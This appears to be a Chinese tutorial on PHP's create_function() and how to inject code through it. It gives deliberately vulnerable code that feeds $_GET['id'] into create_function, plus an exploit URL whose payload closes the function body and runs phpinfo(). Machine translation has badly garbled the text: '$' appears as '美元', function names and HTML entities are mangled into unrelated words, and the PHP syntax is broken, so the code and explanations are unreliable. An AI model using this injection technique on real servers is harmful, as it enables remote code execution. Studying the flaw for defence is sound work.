第一部分:介绍php函数create_function ():
,(args美元 ,美元,代码 ,)
美元args变量部分
代码美元方法代码部分
举例:
create_function(“美元帧”,“echo 帧美元。“张”)
function 英国《金融时报》(帧),{ echo 才能;帧美元。“张”; }
举一个官方提供的例子:
& lt; php ? newfunc 美元;=,create_function (“a, b美元”,,“return “ln(美元),+,ln (b)美元,=,”,只记录(a 美元;*,b美元);'); echo “New anonymous 功能:,newfunc美元”; echo newfunc美元(2,M_E),又是;“ ";//输出//,New anonymous 功能:lambda_1//,ln (2), +, ln (2.718281828459),=1.6931471805599 ?在
第二部分:如何利用create_function()代码注入
测试环境版本:
apache + php 5.2中,apache + php 5.3
有问题的代码:
& lt; php ?//02 - 8. - php ? id=2;} phpinfo ();/* $ id=$ _GET [' id ']; 美元str2=' echo ’。‘测试’。美元id。“;”; echo str2美元; echo “& lt; br/祝辞”; echo “=============================="; echo “& lt; br/祝辞”; $ f1 =, create_function(“一美元”,str2美元); echo “& lt; br/祝辞”; echo “=============================="; ?在
利用方法:
http://localhost/libtest/02 - 8. php?id=2;} phpinfo ();/*
实现原理:
由于id=2;} phpinfo ();/*
执行函数为:
源代码: function 英尺(美元),{ echo 才能;“测试”。一美元; } 注入后代码: function 英尺(美元),{ echo 才能;“测试”;} ,,phpinfo();/*;//此处为注入代码。 }
测试效果: